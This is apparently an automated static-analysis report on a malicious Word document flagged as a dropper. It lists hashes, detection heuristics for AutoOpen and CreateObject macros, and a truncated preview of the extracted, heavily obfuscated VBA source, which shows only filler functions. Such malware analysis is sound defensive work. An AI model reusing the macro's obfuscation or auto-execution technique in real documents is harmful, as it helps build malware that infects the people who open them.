Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 65c27af1b2d7118e…

MALICIOUS

Office (OLE)

75.0 KB Created: 2017-08-17 15:57:00 Authoring application: Microsoft Office Word First seen: 2017-11-13
MD5: ae119fa64e6cf0f4ecb67590f4ecbd30 SHA-1: d1240dd6d312d080b429f4f1b8b31e0f9dd87bf0 SHA-256: 65c27af1b2d7118e7f223859d32076df36b264a964b4e65c46f35cce9c27cb77
222 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample is a malicious Office document containing a legacy WordBasic auto-execution macro (autoopen) that utilizes CreateObject. This indicates the macro is designed to execute arbitrary code, likely to download and run a secondary payload. The ClamAV detection name 'Doc.Dropper.Agent-6335671-0' further supports its dropper functionality.

Heuristics 7

  • ClamAV: Doc.Dropper.Agent-6335671-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6335671-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 19911 bytes
SHA-256: 4fd086e5ddaced76dc7f100f7bc53aacc063ec2cb62ac44b2122d4c0abdf353e
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Module1"
Function eHKaUeHKaUeHKaUeHKaUeHKaU(ByVal baraENbaraENbaraENbaraENbaraEN As String, ByVal mGdndmGdndmGdndmGdndmGdnd As Variant) As Boolean
zYXBPzYXBPzYXBPzYXBPzYXBP = "aVhgmHaVhgmHaVhgmHaVhgmHaVhgmH" + "APAtVAPAtVAPAtVAPAtVAPAtV" = "wKmRAwKmRAwKmRAwKmRAwKmRA"
zYXBPzYXBPzYXBPzYXBPzYXBP = "aVhgmHaVhgmHaVhgmHaVhgmHaVhgmH" + "APAtVAPAtVAPAtVAPAtVAPAtV" = "wKmRAwKmRAwKmRAwKmRAwKmRA"
For Each mKdFXPmKdFXPmKdFXPmKdFXPmKdFXP In mGdndmGdndmGdndmGdndmGdnd
    If mKdFXPmKdFXPmKdFXPmKdFXPmKdFXP = baraENbaraENbaraENbaraENbaraEN Then
        eHKaUeHKaUeHKaUeHKaUeHKaU = True
        Exit Function
    End If
    zYXBPzYXBPzYXBPzYXBPzYXBP = "aVhgmHaVhgmHaVhgmHaVhgmHaVhgmH" + "APAtVAPAtVAPAtVAPAtVAPAtV" = "wKmRAwKmRAwKmRAwKmRAwKmRA"
Next mKdFXPmKdFXPmKdFXPmKdFXPmKdFXP
zYXBPzYXBPzYXBPzYXBPzYXBP = "aVhgmHaVhgmHaVhgmHaVhgmHaVhgmH" + "APAtVAPAtVAPAtVAPAtVAPAtV" = "wKmRAwKmRAwKmRAwKmRAwKmRA"
End Function
 Function ANtekHANtekHANtekHANtekHANtekH(ByVal SaztBSaztBSaztBSaztBSaztB As String, ByVal KEvkNzKEvkNzKEvkNzKEvkNzKEvkNz As Variant) As Boolean
zYXBPzYXBPzYXBPzYXBPzYXBP = "aVhgmHaVhgmHaVhgmHaVhgmHaVhgmH" + "APAtVAPAtVAPAtVAPAtVAPAtV" = "wKmRAwKmRAwKmRAwKmRAwKmRA"
zYXBPzYXBPzYXBPzYXBPzYXBP = "aVhgmHaVhgmHaVhgmHaVhgmHaVhgmH" + "APAtVAPAtVAPAtVAPAtVAPAtV" = "wKmRAwKmRAwKmRAwKmRAwKmRA"
For Each YMWwpxYMWwpxYMWwpxYMWwpxYMWwpx In KEvkNzKEvkNzKEvkNzKEvkNzKEvkNz
    If YMWwpxYMWwpxYMWwpxYMWwpxYMWwpx = SaztBSaztBSaztBSaztBSaztB Then
        ANtekHANtekHANtekHANtekHANtekH = True
        Exit Function
    End If
    zYXBPzYXBPzYXBPzYXBPzYXBP = "aVhgmHaVhgmHaVhgmHaVhgmHaVhgmH" + "APAtVAPAtVAPAtVAPAtVAPAtV" = "wKmRAwKmRAwKmRAwKmRAwKmRA"
Next YMWwpxYMWwpxYMWwpxYMWwpxYMWwpx
zYXBPzYXBPzYXBPzYXBPzYXBP = "aVhgmHaVhgmHaVhgmHaVhgmHaVhgmH" + "APAtVAPAtVAPAtVAPAtVAPAtV" = "wKmRAwKmRAwKmRAwKmRAwKmRA"
End Function
 Function PTDfKWPTDfKWPTDfKWPTDfKWPTDfKW(ByVal yhLYPyhLYPyhLYPyhLYPyhLYP As String, ByVal uHUbsuHUbsuHUbsuHUbsuHUbs As Variant) As Boolean
zYXBPzYXBPzYXBPzYXBPzYXBP = "aVhgmHaVhgmHaVhgmHaVhgmHaVhgmH" + "APAtVAPAtVAPAtVAPAtVAPAtV" = "wKmRAwKmRAwKmRAwKmRAwKmRA"
zYXBPzYXBPzYXBPzYXBPzYXBP = "aVhgmHaVhgmHaVhgmHaVhgmHaVhgmH" + "APAtVAPAtVAPAtVAPAtVAPAtV" = "wKmRAwKmRAwKmRAwKmRAwKmRA"
For Each bPsxhbPsxhbPsxhbPsxhbPsxh In uHUbsuHUbsuHUbsuHUbsuHUbs
    If bPsxhbPsxhbPsxhbPsxhbPsxh = yhLYPyhLYPyhLYPyhLYPyhLYP Then
        PTDfKWPTDfKWPTDfKWPTDfKWPTDfKW = True
        Exit Function
    End If
    zYXBPzYXBPzYXBPzYXBPzYXBP = "aVhgmHaVhgmHaVhgmHaVhgmHaVhgmH" + "APAtVAPAtVAPAtVAPAtVAPAtV" = "wKmRAwKmRAwKmRAwKmRAwKmRA"
Next bPsxhbPsxhbPsxhbPsxhbPsxh
zYXBPzYXBPzYXBPzYXBPzYXBP = "aVhgmHaVhgmHaVhgmHaVhgmHaVhgmH" + "APAtVAPAtVAPAtVAPAtVAPAtV" = "wKmRAwKmRAwKmRAwKmRAwKmRA"
End Function
 Function HHxMyhHHxMyhHHxMyhHHxMyhHHxMyh(ByVal tHDYBtHDYBtHDYBtHDYBtHDYB As String, ByVal RDnHUHRDnHUHRDnHUHRDnHUHRDnHUH As Variant) As Boolean
zYXBPzYXBPzYXBPzYXBPzYXBP = "aVhgmHaVhgmHaVhgmHaVhgmHaVhgmH" + "APAtVAPAtVAPAtVAPAtVAPAtV" = "wKmRAwKmRAwKmRAwKmRAwKmRA"
zYXBPzYXBPzYXBPzYXBPzYXBP = "aVhgmHaVhgmHaVhgmHaVhgmHaVhgmH" + "APAtVAPAtVAPAtVAPAtVAPAtV" = "wKmRAwKmRAwKmRAwKmRAwKmRA"
For Each THBZdTHBZdTHBZdTHBZdTHBZd In RDnHUHRDnHUHRDnHUHRDnHUHRDnHUH
    If THBZdTHBZdTHBZdTHBZdTHBZd = tHDYBtHDYBtHDYBtHDYBtHDYB Then
        HHxMyhHHxMyhHHxMyhHHxMyhHHxMyh = True
        Exit Function
    End If
    zYXBPzYXBPzYXBPzYXBPzYXBP = "aVhgmHaVhgmHaVhgmHaVhgmHaVhgmH" + "APAtVAPAtVAPAtVAPAtVAPAtV" = "wKmRAwKmRAwKmRAwKmRAwKmRA"
Next THBZdTHBZdTHBZdTHBZdTHBZd
zYXBPzYXBPzYXBPzYXBPzYXBP = "aVhgmHaVhgmHaVhgmHaVhgmHaVhgmH" + "APAtVAPAtVAPAtVAPAtVAPAtV" = "wKmRAwKmRAwKmRAwKmRAwKmRA"
End Function
 Function dcSdzdcSdzdcSdzdcSdzdcSdz(ByVal LUhcFLUhcFLUhcFLUhcFLUhcF As String, ByVal cwYDDKcwYDDKcwYDDKcwYDDKcwYDDK As Variant) As Boolean
zYXBPzYXBPzYXBPzYXBPzY
... (truncated)